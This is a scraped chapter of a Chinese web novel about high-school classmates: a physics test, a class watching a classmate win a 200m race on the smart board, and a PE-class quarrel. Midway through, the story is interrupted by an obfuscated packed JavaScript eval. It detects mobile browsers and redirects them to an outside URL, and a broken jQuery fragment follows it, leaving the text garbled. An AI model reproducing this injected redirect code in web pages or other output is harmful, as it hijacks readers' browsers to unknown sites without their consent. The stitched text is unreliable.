8. 走神

作品:《渐黄昏

    星期三,和风煦煦。


    枯燥的日子在天上滚了几道闷雷后泛起波折。


    昨天物理小测的试卷发下来了。


    苏宵从卫生间回教室,就看到桌面摆着的一张红笔涂写的赫然的两个数字。


    68。


    笔走龙蛇,很是潇洒。配这个分数倒浪费了。


    苏宵看看隔壁桌上更醒目的98,又看看自己的,抓起卷子盖住额头,枕着胳膊伏下,懒音从卷缝中流出,“老章昨天还夸我作业进步不少,早晚露馅。”


    闻言,尘暮停下手中的笔,轻轻掀开遮掩她半张脸的试卷,说,“如果你需要,我可以帮你。”


    “怎么帮。”


    苏宵倏地睁开眼,猛然靠近,额头快要抵上他低垂的下颌,“帮我作弊?”


    尘暮摇头,“是帮你提升成绩。”


    每天跟一堆老师打交道已经很烦了,她才不会显得没事额外给自己找个学霸助教。


    苏宵闪着亮光的眸色沉下去,说不要,转头去问胡瑙考了多少。


    他的分数基本代表着全班成绩洼地,通过竖向对比,苏宵基本可以判断自己是不是倒数。


    只是空荡荡的座位没人回应她。


    差点忘了。


    这人早去参加田径比赛了,昨晚给她发消息说自己进决赛来着,还叮嘱她一定要看直播,说什么不看后悔一辈子。


    现在……苏宵抬眸看向黑板上方悬挂的钟表。


    应该正在比赛吧。


    _


    “下节语文课上自习,我还有课,班长管好纪律。”章鹏飞交代几句,揣着教具和书本出了教室。


    无人坐镇的自习课,角落的学生堆里传来阵阵窸窸窣窣的骚动。


    “没问题吧?万一被逮了怎么办?”


    “怕啥,小点声不就行了。”


    “这会儿秃子忙着上课,不查监控。”


    “那我去了?”


    “真去了?”


    废话真多,要干就干磨磨蹭蹭,中分男皱眉,脚踹他屁股上将男生踢了出去。


    “哎哟刚洗的校服。”男生幽怨地瞅了眼后边撺掇他的俩人,弯腰擦擦屁股上的鞋印子,走之前深吸了口气。


    明不张胆的做贼心虚。


    苏宵做题时通常不太专心,心绪很容易被一些无关的动静吸引。


    抬眼,苏宵视线里走进一个人影鬼鬼祟祟上了讲台,俯身跟班长白宜夏嘀咕了几句,尽管对方舔着下唇还在思考这件事的可行度,男生却乐呵地先一步摁下开机键。


    见状白宜夏也不再阻拦,任男生娴熟地在智能黑板上一顿操作。


    “刚刚好!这小子回来得请我搓一顿!”男生愉悦地高叫一声,又悻悻的捂住嘴,快速溜回座位。


    如冲锋号角一般奏响的乐符瞬间闯入,慷慨激昂的歌声敲醒每一个埋头写题的人。


    画面里,一群身姿优越,体格健硕的运动少年矗立于红色跑道,裸露着清一色健美流畅的麦色肌肉线条。


    而站在中间赛道,一边做赛前拉伸运动一边跟旁侧男生闲扯的不就是……


    “胡瑙!”


    苏宵颤眉,嗓音听得出来的亢奋,在前倾脖颈想要看得更清楚时指尖的笔顺势掉在卷子上,骨碌骨碌沿着桌沿滚到地下。


    蜿蜒曲折的一道长痕。


    真是不小心。


    尘暮蹙眉,毫不留恋地将那张画了许久,却因一念失神而歪曲的受力分析图从草稿纸上整页撕下,攥在掌心团成皱皱巴巴的纸球,丢进桌洞。


    “我靠,胡瑙进决赛了!”有男生在喊。


    随着镜头拉进,摄影机扫过每一个少年的身影,胡瑙那张写满潇洒恣意少年气的脸庞就出现在大荧幕中央,不知是不是一众选手里他的容貌最为出色,连特写都只给了他一个人。


    平时看着吊儿郎当一个人,居然在镜头前还挺正气,五官也硬朗,扛得住大屏。


    而且。


    苏宵勾唇轻叹,“还挺上镜。”


    刺啦——


    随着一记摩擦,笔尖撕破平顺整洁的试卷,留下深邃划痕。


    尘暮淡漠地瞧着那道被中性笔来回标画不知道多少遍,终于禁不住而撕裂的题干,一时怔愣。


    他今天,总是走神。


    “来了来了!要上场了!”有人吆喝。


    铿锵有力的主持词萦绕耳畔,振奋人心——


    “跑道上,即将进行的是男子高中组200米决赛,一道北曲实验马威阳,二道江河附中史清峰……四道禾青十中胡瑙……”


    念到自己名字,胡瑙先是斜额朝镜头两指敬礼,紧急着向前大迈一步笑着做了个博尔特经典的“闪电之翼”手势。


    将张狂、朝气和不可一世的自傲体现的淋漓尽致。连解说员都忍不住调侃,说他是个夺冠的热门选手。


    众人又是一阵起哄。


    喧哗过后,敦厚男声响起,“比赛即将开始。”


    “各就位——”


    众人屏息。


    “预备——”


    砰!


    发令枪响!


    所有人的目光随狂奔少年而疾驰,心脏也因赛道的拉远而迸跳不止。


    首当其冲,胡瑙占据领先位置,保持领先!


    最后一百米!


    紧跟在胡瑙后面的蓝衣少年加速了,他冲到了胡瑙前面,胡瑙掉到了第二。


    “卧槽别被他超了,啊啊啊啊!”男生急得捶桌子。


    最后五十米!


    胡瑙提速了,距离终点仅剩二十米!


    苏宵看到他脖子的青筋暴起脸色涨红,似有无限能量一般居然再次加速!


    冲线!


    “啊啊啊啊啊啊卧槽第一!第一!!!”


    “牛逼我胡哥!!!”


    众人沸腾,欢呼雀跃誓要穿透屏幕传到另一端。


    “吵死了。”


    完全写不了题。


    贺子萱烦躁地猛拍桌子,喧哗却将她的警告全部吞噬。


    另一边,夺冠的胡瑙成了镜头中心,采访记者蜂拥而上,争相给他递话筒。


    在场的,在座的,几乎所有人的注意都被他吸引了,包括此刻尘暮眸中的苏宵。


    她看了胡瑙很久。


    ……


    记者们问的全是些无关痛痒的场面话,胡瑙说他文化水平不高,能力有限就不回答了,然后问摄像机能不能给他个特写,要很清楚,又拍了拍记者凑过来的话筒,问这东西收音咋样。


    记者:“特别好啊,我们台刚给买的新设备。”


    胡瑙甩甩额前悬挂的汗珠,随手抓起个话筒,清清嗓子,喊道,“我们班的40号同学!”


    “我知道你在看。”他说。


    “咱班谁学号40?”立刻有人交头接耳。


    “苏宵。”有人小声回。


    屏幕外的苏宵就这么懵逼地看着另一端的胡瑙。


    他拽着欠了吧唧的腔调提醒她,“答应爷的别忘了啊,我记性好着呢。”


    话题中心人物和镜头是在这一刻完成交接的。


    稍稍归于平静的气氛再次燃起热火。


    围绕苏宵的起哄议论此起彼伏,前排学生的视线跟追踪弹一样全往后投射,苏宵倒是无所谓,支着下颌,眸光游走于每一个关心她的同学。


    别人怎么说怎么看向来不关她的事,好事的人太多,她堵不上别人的嘴,就干脆享受成为焦点。


    感觉还不错。


    贺子萱也在看她呢。


    苏宵珍惜每一个能与她对视的机会,也庆幸每一个她注意力能从尘暮身上匀点给自己的时刻。


    “比赛看完了,能安静会了吧!”贺子萱猛地拍桌而起,大喝一声,“这是自习课不是课间休息,还有人要学习!”


    “就你最能卷,”靠窗一个男生站出来鸣不平,“能不能有点集体意识。”


    有人帮衬,“就是,颁奖典礼还没看呢。”


    “差这一会么,扫兴。”


    三言两语汇聚的反驳渐渐熄灭形单影只的愤怒,贺子萱瘪嘴,又坐回去,捂着耳朵写题。


    尘暮在这时起身,走向讲台。


    啪——


    画面消失,喧嚣暂停。


    顶着所有人不解和茫然的眼神,尘暮默不作声拔了电源。


    “学习。”他眸色清冷地撂话。


    苏宵也很懵。


    因为他看起来状态跟平常不太一样,面无表情却眸色冰冷,跟他说话也不理人。


    怎么了?


    苏宵只能通过尘暮轻皱的眉头判断他生气了。


    那么谁惹他了。


    没人。


    硬说有的话……苏宵看向斜前方紧掩双耳默背单词的贺子萱。


    呵。


    他倒是挺会为人打抱不平。


    *


    体育课。


    跑完两圈热身,体育老师说一会要进行小考,女生考仰卧起坐,男生考跳绳,招呼他们各去器材室拿东西了。


    “女生垫子搬不动的找男生帮忙,咱们男生都绅士点。”老师说完,跑厕所去了。


    苏宵在班里就跟胡瑙和尘暮两个男生说过话。


    胡瑙不在,就算在苏宵也不会找他,他这人做事不白做,日后得从你身上捞点好处。


    至于另一个……苏宵又不是搬不动,她没那么虚。


    “嗨。”一个女生站在器材室门口跟她招手。


    苏宵拖着垫子往外走,经过她身前没停,也没理。


    “没听见吗?”女生追上去,手指在她肩头戳了一下,“你怎么不搭理人呢?”


    苏宵烦躁地扯了扯唇角。


    胡瑙也总戳她,但她现在不反感了,还以为是习惯,免疫了,原来分人。


    苏宵皱眉咳了声,眼神示意她向下看。


    意思是两只手都忙着,没有多余的一只去回应。


    “那你没长嘴啊。”女生小声嘟囔,偷摸翻了个白眼,小跑着追上苏宵,有一搭没一搭地闲扯。


    起初苏宵还能应付个“嗯”或者“哦”,但她找的话题太硬,比苏宵跟尘暮聊的还硬。


    苏宵聊不下去了,就听她自言自语。


    “苏宵,你跟胡瑙是什么关系啊,他要你答应的是什么?”


    扯了那么多废话,总算进入正题。


    “关你什么事?”苏宵语气冷淡。


    这女生她有印象,叫林扰,人如其名,很吵,爱凑热闹八卦的一人,之前在教室给尘暮送早饭,就她带头嚼舌害得苏宵现在每天都得早起。


    睡不够觉,困都困死了。


    苏宵是个记仇的人。


    莫名被怼,林扰脸上有些挂不住,也不知哪里惹到她了,“我就问问,没什么意思。”


    苏宵:“我也觉得没意思,所以你别问了。”


    说完头也不回地走了。


    林扰很恼火,“什么人呐。”


    “就你这臭脾气怪不得没人跟你玩!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043704|178903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林扰颤抖地指着她,气愤不已。


    操场。


    见人都来得差不多,体育老师发话:“大家稍微做一下热身,活动一下手腕脚腕,别一会刚开始先抽筋了,做好准备,三分钟后开测。”


    这次是个小测,不按学号,自己找搭档自由测。


    女生一共19人,就注定有个人会落单,苏宵默认将自己归为落单的那类,于是放好垫子,也不去找搭子,就躺在垫子上,休息。


    苏宵等着,等其他人测完,老师会揪个倒霉蛋出来分配给她。


    尘暮就蹲在她对面的草坪,一边拔草一边看。


    她看云,他看她。


    他们都很无聊。


    半响,尘暮丢掉手里的一把杂草,拍拍掌心的泥灰,从草坪处离身。


    ……


    “你说她学习烂就算了脾气还这么大,”林扰想起来就气,手舞足蹈地同身侧女生抱怨道,“我不过就问她点事,你瞧她那样,脸拉得这么长,臭得跟谁欠她八百万似的。”


    “怪不得整天独来独往的没女生愿意跟她玩,也就长得还行老有男生跟屁股后面,神气什么,”说着林扰叉着腰把视线撂向软垫上仰躺的少女,掩嘴神兮兮道,“听说她爸还是个老赖,能教出什么好孩子。”


    “这你都知道?”有人问。


    “我妈听贺子萱她妈说的,他们那片都知道,子萱,你说对不对?”林扰向贺子萱求证。


    贺子萱迟疑一秒,没说对,也没说不对,眼神躲闪,“我不知道。”


    “怎么会不知道。”林扰奇怪,又要追问她,贺子萱走了。


    林扰无奈摆摆手,刚要想说到哪了再续上时,看见白宜夏从面前路过。


    要往苏宵所在方向走。


    “班长。”林扰伸手挽她胳膊,叫住她。


    白宜夏的同桌来姨妈见习了,这样班里就剩18个女生,凑成双数,就不会有人落单了。


    不行。


    不合群的人就应该单着。


    “班长你没搭子的话来我们这吧,”林扰很热情,“咱们一起。”


    “嗯嗯,班长你先做,我帮你压着。”另一个女生搭话。


    “恐怕不行,”白宜夏摆手婉拒了她们的好意,笑意盈盈道,“有人给我介绍了。”


    ——


    这是……睡着了?


    “嗨。”白宜夏试着唤醒仰躺在垫子上的人。


    又来一个。


    苏宵眼皮都懒得动弹,翻了个身,倦音明显,“就这么想知道?”


    白宜夏虽听不懂她话里的意思,依旧眉梢带笑,温声道,“如果你想说,我倒不介意听呢。”


    苏宵抬眼,曲起一条腿。


    旭日阳光倾斜在两人之间,金色缠绕女生细软的长发,风穿枝叶,苏宵闻到她身上山茶花的香味。


    令人舒心的味道。


    苏宵看着蹲坐在面前的白宜夏,眉心微动,“你,找我有事?”


    苏宵对她印象蛮深,长相好学习好,偏英气的五官但性子柔得很,是个人缘很好的女生,开学竞选班干部,班里至少有一半的人给她投了票,其中包括苏宵。


    除此之外,两人再无其他交集。


    “我来找你组队。”白宜夏率先说。


    苏宵疑惑,“为什么找我?”


    她找不到别人了吗。


    这可能性蛮低的,至少比苏宵找到人的概率低得多。


    白宜夏给出的理由很简单:“封雨洁有事请假了,你单着,我也单着,正好凑一对。”


    原来是找她帮忙各取所需,苏宵没理由不帮,仗义道,“行。”


    ——


    苏宵一下午没跟尘暮说过一句话。


    她没惹他,按理说他就算生气也挨不到她头上,但他把气氛搞僵了,在他开口之前苏宵不想热脸贴冷屁股,结果这人跟闷葫芦一样,还真跟她杠上了,连个屁都不带放的,导致僵局莫名其妙持续到现在。


    为此苏宵烦得不行,题看不明白火气更是大,四节晚自习只会在试卷上勾勾画画,脸臭得能熏死一条鱼。


    而反观尘暮这边却是安之若素,甚至还能利用放学后的一点点空闲时间给贺子萱讲两道几何函数题。


    即使贺子萱每天都会来找尘暮开小灶,苏宵早已习以为常,但现在就是很不顺眼。


    看着另一边相谈甚欢的和谐画风,看着被贺子萱隔绝在外的自己,和被尘暮占据整个瞳仁的她的眼睛,苏宵的烦躁渐渐消散,转而代之的是汹涌的沮丧。


    强烈的挫败感使苏宵胸口有些发闷。


    苏宵书都没装,背着个空书包就走了。


    “好聪明,我怎么没想到还可以用代数法,”贺子萱看着寥寥几笔却异常清晰的思路,羡慕不已,“你是怎么想到——”


    贺子萱话说到一半,尘暮蓦然毫无征兆地单肩背起包跑了。


    贺子萱想抓尘暮校服袖子没抓到,“你干什么去?”


    尘暮头也没回。


    贺子萱跟着跑出教室。


    人头攒动的楼道里,贺子萱倚靠窗台大口喘着粗气,再抬眸,视线里是长廊尽头奔走的少年与那抹再熟悉不过的背影,在月下重叠。


    “对不起,有点事耽搁了。”


    小臂蓦然被人握住,苏宵转身,疑惑于突然撞进视野的尘暮,更不理解他为什么跟她道歉。


    只是还没等她开口问,先听到他说,“一起吧,我送你。”


    又问,“不是顺路么?”